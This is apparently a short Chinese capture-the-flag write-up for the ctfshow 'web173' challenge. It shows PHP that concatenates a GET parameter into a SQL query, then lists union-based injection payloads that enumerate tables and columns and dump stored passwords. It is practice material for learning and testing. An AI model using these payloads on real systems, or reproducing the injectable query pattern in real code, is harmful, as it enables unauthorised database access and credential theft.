web173(考察sql基础)

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
      
返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

1' order by 3 --+

 这次测出是三列

-1' union select database(),2,3--+

 -1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

 -1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user3" --+

 -1' union select password,2,3 from ctfshow_user3--+

 

posted @ 2025-04-09 09:25  justdoIT*  阅读(6)  评论(0)    收藏  举报